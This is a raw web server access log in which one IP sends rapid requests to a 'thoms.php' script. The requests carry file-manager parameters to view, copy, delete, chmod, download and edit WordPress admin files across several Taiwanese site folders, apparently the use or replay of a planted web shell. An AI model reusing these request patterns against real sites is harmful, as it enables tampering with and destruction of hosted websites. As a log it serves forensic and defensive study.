45.135.193.11 - - [12/Sep/2026:00:01:52 -0400] "GET /broadweb.com.tw/wp-admin/menu-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:52 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=ms-delete-site.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=ms-delete-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fms-sites.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fms-sites.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:52 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fmy-sites.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fmy-sites.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:53 -0400] "GET /thoms.php?del=options-privacy.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-privacy.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:52 -0400] "GET /broadweb.com.tw/wp-admin/post.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:53 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:53 -0400] "GET /broadweb.com.tw/wp-admin/import.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:53 -0400] "GET /thoms.php?dl=ms-themes.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-themes.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:53 -0400] "GET /broadweb.com.tw/wp-admin/options-writing.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:53 -0400] "GET /broadweb.com.tw/wp-admin/site-health-info.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:53 -0400] "GET /thoms.php?chmod=profile.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:53 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=setup-config.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=setup-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:53 -0400] "GET /broadweb.com.tw/wp-admin/custom-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fupdate-core.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fupdate-core.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:53 -0400] "GET /thoms.php?del=credits.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=credits.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:53 -0400] "GET /thoms.php?chmod=media-new.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media-new.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:53 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-head.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-head.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:53 -0400] "GET /broadweb.com.tw/wp-admin/site-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:54 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=widgets-form.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=widgets-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:54 -0400] "GET /thoms.php?chmod=edit-tag-form.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-tag-form.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:54 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=ms-options.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=ms-options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:54 -0400] "GET /thoms.php?chmod=term.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=term.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:54 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=contribute.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=contribute.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:54 -0400] "GET /thoms.php?dl=customize.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=customize.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:54 -0400] "GET /thoms.php?del=edit-form-comment.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-form-comment.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:54 -0400] "GET /thoms.php?edit=thoms.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=thoms.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:54 -0400] "GET /thoms.php?edit=thoms.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=thoms.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:54 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-signup.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:55 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=bioway88.com-20260912023827 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=bioway88.com-20260912023827" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:56 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:57 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
